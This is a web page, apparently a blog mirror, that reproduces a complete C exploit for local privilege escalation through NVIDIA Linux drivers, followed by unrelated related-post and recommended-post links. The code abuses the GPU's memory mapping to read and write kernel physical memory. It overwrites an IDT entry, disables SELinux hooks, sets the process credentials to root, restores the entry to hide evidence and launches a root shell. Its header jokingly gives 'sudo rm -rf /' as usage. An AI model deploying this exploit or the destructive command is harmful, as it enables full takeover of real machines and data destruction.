[fw]Nvidia Linux Drive Privilege Escalation
/* Anonymous
*
* How to use: sudo rm -rf /
*
* greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
*
* Only complete fix patch nvidia drivers and redefine
* IS_BLACKLISTED_REG_OFFSET: #define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1 */ #define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h> #ifdef __x86_64__
#define KERNEL_BASE 0xffffffff80000000L
#else
#define KERNEL_BASE 0xc0000000
#endif #define ENTRY 0xdc #define inline __attribute__((always_inline))
#ifdef __x86_64__
#define __kernel
#else
#define __kernel __attribute__((regparm(3)))
#endif
#define __used __attribute((used)) static unsigned long kernel_ofs_phys;
static volatile uint32_t *cve_2012_YYYY; static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)
{
uint32_t i = (ofs & 3) * 8;
ofs >>= 2;
m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
} static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
if (1) {
uint32_t ofs = (target & 0x3ffff)/4, i; if (target & 0xf) {
printf("[ ] Function requires 16-byte alignment for input!\n");
exit(-1);
} cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
memset(buffer, 0, 16);
for (i = 0; i < 4; ++i) {
uint32_t shift = i * 8;
poke_byte(cve_2012_YYYY, 0x204, i);
buffer[0] |= (m[ofs/4] & 0xff) << shift;
buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;
buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;
buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;
}
}
} static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
if (1) {
uint32_t i, ofs = (target & 0x3ffff)/4;
if (target & 0xf) {
printf("[ ] Function requires 16-byte alignment for output!\n");
exit(-1);
} cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10); for (i = 0; i < 4; ++i) {
int shift = 8 * i;
uint32_t val;
poke_byte(cve_2012_YYYY, 0x102, 1<<i);
val = (buffer[0] >> shift) & 0xff;
val |= ((buffer[1] >> shift) & 0xff) << 8;
val |= ((buffer[2] >> shift) & 0xff) << 16;
val |= ((buffer[3] >> shift) & 0xff) << 24;
m[ofs/4] = val;
}
}
} unsigned long virt2phys(unsigned long addr)
{
unsigned long phys;
addr &= ~KERNEL_BASE;
addr += kernel_ofs_phys;
phys = addr & 0xffffffff;
return phys;
} // dest has to be 16-byte and slightly larger for unaligned reads
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)
{
uint32_t rem, phys = virt2phys(src);
void *ret = dest + (src & 0xf); rem = (-phys) & 0xf;
if (rem) {
physread16(m, phys & ~0xf, dest);
dest += 0x10;
phys += rem;
if (len > rem)
len -= rem;
else
len = 0;
} for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)
physread16(m, phys, dest); return ret;
} void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)
{
uint32_t phys;
unsigned long remaining, towrite, i; phys = virt2phys(dest); if (!m || m == MAP_FAILED)
puts("not actually writing..."); if (1) {
remaining = len;
for (i = 0; i < len; i += 16) {
uint32_t buffer[4];
if (remaining < 16)
physread16(m, phys + i, (uint32_t*)buffer);
towrite = remaining > 16 ? 16 : remaining;
memcpy(buffer, (void*)(src + i), towrite);
physwrite16(m, phys + i, (uint32_t*)buffer);
remaining -= 16;
}
}
} static void mode_x(volatile uint32_t *x) {
// http://wiki.osdev.org/VGA_Hardware Mode X // 3c0
x[0x310/4] = 0x000f0041;
x[0x314/4] = 0; // 3c2
x[0x000/4] = 0xe3; // 3c4
x[0x100/4] = 0x000f0103;
x[0x104/4] = 0x06; // 3ce
x[0x204/4] = 0x0f054000; // 3d4
x[0x400/4] = 0x82504f5f;
x[0x404/4] = 0x3e0d8054;
poke_byte(x, 0x408, 0);
poke_byte(x, 0x409, 0x41);
x[0x410/4] = 0x28dfacea;
x[0x414/4] = 0xe306e700;
} static int dirfilter(const struct dirent *d) {
return d->d_type == DT_LNK && strchr(d->d_name, ':');
} static int nvidia_fd(uint64_t *res) { struct dirent **list;
int fd, resfd, ret;
char buf[256];
ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
if (ret <= 0)
goto fail;
sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
resfd = open(buf, O_RDONLY);
if (resfd < 0)
goto fail;
read(resfd, buf, sizeof(buf));
*res = strtoll(buf, NULL, 16);
close(resfd); if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
goto fail;
return fd; fail:
perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
*res = 0;
return -1;
} volatile uint32_t *nvidia_handle(int fd, uint64_t res) {
// access 4 bytes at a time or things go weird
volatile uint32_t *m; if (fd < 0)
return MAP_FAILED; // I HAD TO LEARN VGA FOR THIS
m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0x619000);
if (m != MAP_FAILED) {
if ((m[0xf00/4] & 8) &&
(m = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED) {
printf("[*] CVE-2012-YYYY\n"); mode_x(cve_2012_YYYY); // put into vga mode x, ish return m;
}
munmap((void*)cve_2012_YYYY, 0x1000);
m = cve_2012_YYYY = MAP_FAILED;
}
return m;
} static int tasknamelen;
static char taskname[64]; extern long gettask(void);
extern long testgetroot(void); __used __kernel extern long callsetroot(long uid, long gid); #define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
#define END ".cfi_endproc\n\t"
asm(
".text\n\t.align 4\n\t"
FN("testgetroot")
// AND HAVE FUN! :D
#ifdef __x86_64__
"swapgs\n\t"
"call getroot\n\t"
"swapgs\n\t"
"iretq\n\t"
#else
"mov %fs, %edi\n\t"
"mov $0xd8, %esi\n\t"
"mov %esi, %fs\n\t"
"call getroot\n\t"
"mov %edi, %fs\n\t"
"iretl\n\t"
#endif
END FN("gettask")
#ifdef __x86_64__
// Grab some offsets from system_call
"mov $0xc0000082, %ecx\n\t"
"rdmsr\n\t"
"movslq %eax, %rax\n\t" // Fuck optional alignment, fix it by looking for
// the start prefix of our lovely mov %gs:.. in system_call we just found
// this will get us kernel_stack, in which most cases it means that
// our current_task is right below it
// This is only needed if kallsyms fails
"1:\n\t"
"cmpw $0x4865, 0x3(%rax)\n\t"
"je 2f\n\t"
"incq %rax\n\t"
"jmp 1b\n\t"
"2:\n\t" "movl 17(%rax), %edx\n\t" // blegh padding
"3:\n\t"
"addl $8, %edx\n\t"
"movq %gs:(%edx), %rax\n\t"
"test %eax, %eax\n\t"
"jz 3b\n\t"
"cmpl $-1, %eax\n\t"
"je 3b\n\t"
#else
// TODO: maybe..
"xor %eax, %eax\n\t"
#endif
"ret\n\t"
END #define S2(x) #x
#define S1(x) S2(x) FN("callsetroot")
#ifdef __x86_64__
"int $" S1(ENTRY) "\n\t"
#else
"push %edi\n\t"
"push %esi\n\t"
"int $" S1(ENTRY) "\n\t"
"pop %esi\n\t"
"pop %edi\n\t"
#endif
"ret\n\t"
END ".previous"); struct kallsyms {
unsigned long *addresses;
unsigned long num_syms;
unsigned char *names;
unsigned long *markers; unsigned char *token_table;
unsigned short *token_index;
}; // Memory layout kallsyms, all pointer aligned:
// unsigned long addresses[num_kallsyms]
// unsigned long num_kallsyms
// unsigned char names[..]
// unsigned long markers[(num_kallsyms + 0xff) >> 8] = { 0, ... }
// char token_table[var...] = { null terminated strings }
// unsigned short token_index[var?...] = { 0, ... }; // This should probably work for 64-bits and 32-bits kernels
// But only tested on 64-bits kernels
inline static long init_kallsyms(struct kallsyms *ks)
{
unsigned long start = KERNEL_BASE + 0x1000000L;
unsigned long *max = (void*)KERNEL_BASE + 0x2000000L;
unsigned long *cur;
for (cur = (void*)start; cur < max; cur += 2) {
if (*cur == start &&
(cur[1] == start || cur[-1] == start))
goto unwind;
}
return -1; unwind:
while ((cur[0] & KERNEL_BASE) == KERNEL_BASE)
cur++;
ks->addresses = cur - *cur;
ks->num_syms = *(cur++);
ks->names = (unsigned char*)cur;
do { cur++; } while (*cur);
ks->markers = cur;
cur += (ks->num_syms + 0xff) >> 8;
ks->token_table = (unsigned char*)cur;
// Zero terminated string can create padding that could
// be interpreted as token_index, requiring the || !*cur
do { cur++; } while (*(unsigned short*)cur || !*cur);
ks->token_index = (unsigned short*)cur;
return (long)ks->num_syms;
} #define KSYM_NAME_LEN 128
inline static int kstrcmp(const char *x, const char *y)
{
for (;*x == *y; x++, y++)
if (!*x)
return 0;
return -1;
} /*
* kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
*
* Rewritten and vastly simplified by Rusty Russell for in-kernel
* module loader:
* Copyright 2002 Rusty Russell <rusty@rustcorp.com.au> IBM Corporation
*
* ChangeLog:
*
* (25/Aug/2004) Paulo Marques <pmarques@grupopie.com>
* Changed the compression method from stem compression to "table lookup"
* compression (see scripts/kallsyms.c for a more complete description)
*/ inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result)
{
int len, skipped_first = 0;
const unsigned char *tptr, *data; /* Get the compressed symbol length from the first symbol byte. */
data = &ks->names[off];
len = *data;
data++; /*
* Update the offset to return the offset for the next symbol on
* the compressed stream.
*/
off += len + 1; /*
* For every byte on the compressed symbol data, copy the table
* entry for that byte.
*/
while (len) {
tptr = &ks->token_table[ks->token_index[*data]];
data++;
len--; while (*tptr) {
if (skipped_first) {
*result = *tptr;
result++;
} else
skipped_first = 1;
tptr++;
}
} *result = '\0'; /* Return to offset to the next symbol. */
return off;
} inline static unsigned long kdlsym(struct kallsyms *ks, char *name)
{
char namebuf[KSYM_NAME_LEN];
unsigned long i;
unsigned int off; for (i = 0, off = 0; i < ks->num_syms; i++) {
off = kallsyms_expand_symbol(ks, off, namebuf);
if (kstrcmp(namebuf, name) == 0)
return ks->addresses[i];
}
return 0;
} __used __kernel long getroot(long uid, long gid)
{
int i;
unsigned long cred;
int *j = NULL;
int k;
char *p;
struct kallsyms ks;
unsigned long task_struct = 0; long ret = init_kallsyms(&ks); if (ret > 0) {
void (*fn)(void);
__kernel void *(*fn1)(void*);
unsigned long task_offset;
char fnops[] = "reset_security_ops";
char fntask[] = "current_task";
char fncred[] = "get_task_cred"; // SELINUX is overrated..
fn = (void*)kdlsym(&ks, fnops);
if (fn) fn(); // Get a more reliable offset to current_task if we can
task_offset = kdlsym(&ks, fntask);
if (task_offset)
#ifdef __x86_64__
asm("mov %%gs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#else
asm("mov %%fs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#endif
else
task_struct = gettask();
if (!task_struct)
return -4; fn1 = (void*)kdlsym(&ks, fncred);
if (fn1) {
j = fn1((void*)task_struct);
// And decrease refcount we just increased
asm("lock; decl (%0)" :: "r"(j));
}
}
else if (!ret)
task_struct = gettask();
else
return -ret;
if (!task_struct)
return -5; // No kallsyms or no get_task_cred, manually try to find
if (!j) {
// all the creds are belong to us
for (i = 0; i < 0x1000; i += sizeof(void*)) {
p = (char *)(task_struct + i);
for (k = 0; k < tasknamelen; k++) {
if (p[k] != taskname[k])
break;
}
if (k == tasknamelen) {
cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);
j = (int *)cred;
break;
}
}
if (!j)
return -1;
} for (i = 0; i < 1000; i++, j++) {
if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) { /* uid, euid, suid, fsuid */
j[0] = j[1] = j[2] = j[3] = 0; /* gid, egid, sgid, fsgid */
j[4] = j[5] = j[6] = j[7] = 0; /* ALLCAPS!!111 */
j[10] = j[11] = 0xffffffff;
j[12] = j[13] = 0xffffffff;
j[14] = j[15] = 0xffffffff; return 0;
}
}
return -2;
} struct gdt
{
uint16_t limit;
uint32_t base;
}__attribute__((packed)); static unsigned long getidt()
{
struct gdt idt;
memset(&idt, 0x00, sizeof(struct gdt));
asm volatile("sidt %0" : "=m"(idt));
return idt.base | 0xFFFFFFFF00000000UL;
} typedef struct gate_struct {
uint16_t offset_low;
uint16_t segment;
unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
uint16_t offset_middle;
#ifdef __x86_64__
uint32_t offset_high;
uint32_t zero1;
#endif
} __attribute__((packed)) gate_desc; enum {
GATE_INTERRUPT = 0xE,
GATE_TRAP = 0xF,
GATE_CALL = 0xC,
GATE_TASK = 0x5,
}; #define YES_PLEASE 3
#define PTR_LOW(x) ((unsigned long)(x) & 0xFFFF)
#define PTR_MIDDLE(x) (((unsigned long)(x) >> 16) & 0xFFFF)
#define PTR_HIGH(x) ((unsigned long)(x) >> 32) #ifdef __x86_64__
#define __KERNEL_CS 0x10
#else
#define __KERNEL_CS 0x60
#endif void dump_gate(gate_desc *gate)
{
#if 0
uint16_t *p = (void *)gate;
unsigned i;
for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++)
printf("%04x\n", *p++);
#endif
} void dump_bytes(void *desc)
{
int i;
for (i = 0; i < 16; ++i) {
printf("%02x", ((char*)desc)[i]);
if (i < 15 && (i % 4) == 3)
printf(" ");
}
printf("\n");
} static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,
unsigned dpl, unsigned ist, unsigned seg)
{
gate->offset_low = PTR_LOW(func);
gate->offset_middle = PTR_MIDDLE(func);
gate->segment = seg;
gate->ist = ist;
gate->p = 1;
gate->dpl = dpl;
gate->zero0 = 0;
gate->type = type;
#ifdef __x86_64__
gate->offset_high = PTR_HIGH(func);
gate->zero1 = 0;
#endif
dump_gate(gate);
} // Test mode, not really an exploit, although it does
// show the option to forbid physical memory is useless
static int devmem_fd(void)
{
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0)
perror("/dev/mem");
return fd;
} void *xalloc(unsigned long len)
{
void *ret = NULL;
posix_memalign(&ret, 16, ((len+0xf)&~0xf) + 16);
return ret;
} void xfree(void *ptr)
{
free((void*)((unsigned long)ptr & ~0xfL));
} int main(int argc, char * argv[])
{
volatile uint32_t *handle = NULL;
long ret, i, found = 0;
char *p;
gate_desc gate, gate2[16/sizeof(gate_desc)];
uint32_t buf[4];
gate_desc *dp = (gate_desc*)buf;
uint8_t data[256];
uint64_t res = 0; printf("[*] IDT offset at %#lx\n", getidt()); // syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root
if (argc > 2 && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {
res = strtoll(argv[2], NULL, 16);
handle = nvidia_handle(devmem_fd(), res); for (i = 0; i < 0x4000000; i += 16) {
physread16(handle, i, (void*)data);
write(2, data, 16);
}
return 0;
} else if (argc > 1 && (res = strtoll(argv[1], NULL, 16))) {
handle = nvidia_handle(devmem_fd(), res);
if (!getuid()) {
setgid(1000);
setuid(1000);
}
if (handle == MAP_FAILED)
return -1;
printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());
} if ((p = strchr(argv[0], '/')))
p++;
else
p = argv[0];
strcpy(taskname, p);
tasknamelen = strlen(taskname); if (!handle || handle == MAP_FAILED) {
uint64_t res;
int fd = nvidia_fd(&res);
printf("[*] Abusing nVidia...\n");
handle = nvidia_handle(fd, res);
if (!handle || handle == MAP_FAILED)
return -1;
} // X86_OF_ENTRY
unsigned long idtentry = getidt() + (2*sizeof(unsigned long)*4);
pack_gate(&gate, GATE_INTERRUPT, KERNEL_BASE, YES_PLEASE, 0, __KERNEL_CS); for (i = 0; i < 256; ++i) {
kernel_ofs_phys = i * 1024 * 1024;
physread16(handle, virt2phys(idtentry), buf); // Copy offsets since we don't really care about them
gate.offset_low = dp->offset_low;
gate.offset_middle = dp->offset_middle; #ifndef __x86_64__
gate.segment = dp->segment;
if (*(uint64_t*)&dp[1] == 0x00000000ffffffffULL) {
printf("[X] 64-bits kernel found at ofs %lx\n", kernel_ofs_phys);
printf("[X] Compiled for 32-bits only\n");
continue;
}
#endif if (!memcmp(&gate, dp, sizeof(*dp))) {
printf("[*] %zu-bits Kernel found at ofs %lx\n", sizeof(void*)*8, kernel_ofs_phys);
found = 1;
break;
}
}
if (!found) {
printf("[X] No kernel found! >:(\n");
return -1;
} idtentry = getidt() + (2*sizeof(unsigned long)*ENTRY);
printf("[*] Using IDT entry: %d (%#lx)\n", ENTRY, idtentry);
physread16(handle, virt2phys(idtentry), buf);
dump_gate(dp); printf("[*] Enhancing gate entry...\n");
pack_gate(&gate, GATE_INTERRUPT, (uintptr_t)&(testgetroot), YES_PLEASE, 0, __KERNEL_CS);
kernel_write(handle, idtentry, (unsigned long)&gate, sizeof(gate));
physread16(handle, virt2phys(idtentry), (uint32_t*)gate2);
if (memcmp(&gate, gate2, sizeof(gate))) {
printf("[ ] Failed!\n");
return -1;
} printf("[*] Triggering payload...\n");
ret = callsetroot(getuid(), getgid());
// And restore old one, I'm kind like that
printf("[*] Hiding evidence...\n");
kernel_write(handle, idtentry, (unsigned long)dp, sizeof(*dp));
if (ret)
printf("callsetroot returned %lx (%li)\n", ret, ret); if (getuid()) {
printf("[*] Failed to get root.\n");
return -1;
} printf("[*] Have root, will travel..\n");
execl("/bin/bash", "sh", NULL);
perror("/bin/bash");
return 1;
}
[fw]Nvidia Linux Drive Privilege Escalation的更多相关文章
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Linux/Unix System Level Attack、Privilege Escalation(undone)
目录 . How To Start A System Level Attack . Remote Access Attack . Local Access Attack . After Get Roo ...
- Basic Linux Privilege Escalation
(Linux) privilege escalation is all about: Collect - Enumeration, more enumeration and some more enu ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- OSCP Learning Notes - Privilege Escalation
Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...
- FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit
/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink * * Th ...
- Jetson TX2(1)ubutu1604--安装Nvidia Linux驱动
https://www.jianshu.com/p/c8ebe4aaa708 系统开机首次进入的是以nvidia用户登录的Ubuntu 命令行界面.Nvidia 驱动安装 通过sudo su 输入密码 ...
- [EXP]Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation
Windows: DfMarshal Unsafe Unmarshaling Elevation of Privilege (Master) Platform: Windows (not tested ...
随机推荐
- 脚本_修改 Linux 系统的最大打开文件数量
#!bin/bash#作者:liusingbon#功能:修改 Linux 系统的最大打开文件数量#追加两行配置参数到文件/etc/security/limits.conf的末尾,修改最大打开文件数量为 ...
- [python 学习] argparse模块
https://docs.python.org/3/library/argparse.html#module-argparse
- Vue.js 技术揭秘学习 (1) new Vue 发生了什么
Vue 初始化主要就干了几件事情,合并配置,初始化生命周期,初始化事件中心,初始化渲染,初始化 data.props.computed.watcher 等等.
- bat 获取系统日期,时间,并去掉时间小时前面的空格和时间后面的空格
@echo off rem BAT获取系统日期,时间,并去掉时间小时前面的空格和时间后面的空格 echo *** %DATE% echo *** %TIME% set THISDATE=%DATE:~ ...
- JS原型和原型链(3)
构造函数创建对象: function Person() { } var person = new Person(); person.name = 'Kevin'; console.log(person ...
- JAVA中的反射机制 详解
主要介绍以下几方面内容 理解 Class 类 理解 Java 的类加载机制 学会使用 ClassLoader 进行类加载 理解反射的机制 掌握 Constructor.Method.Field 类的用 ...
- Test 6.29 T1 预算方案
问题描述 "我需要你为我制订一个购物的方案.我将要为我的宫殿增置一些家具.有n 种备选家具,家具有主件和附件之分.在购买某个主件的附件之前,我必须先购买其对应的主件.某一主件的附件不会是另一 ...
- python中*args和**kwargs学习
*args 和 **kwargs 经常看到,但是一脸懵逼 ,今天终于有收获了 """ python 函数的入参经常能看到这样一种情况 *args 或者是 **kwargs ...
- 批处理bat文件显示中文乱码解决方式
1.下载Notepad++并安装 2.选择编码,将文件编码转换为ANSI编码
- JAVA WEB怎么实现大文件上传
javaweb上传文件 上传文件的jsp中的部分 上传文件同样可以使用form表单向后端发请求,也可以使用 ajax向后端发请求 1.通过form表单向后端发送请求 改进后的代码不需要form标签,直 ...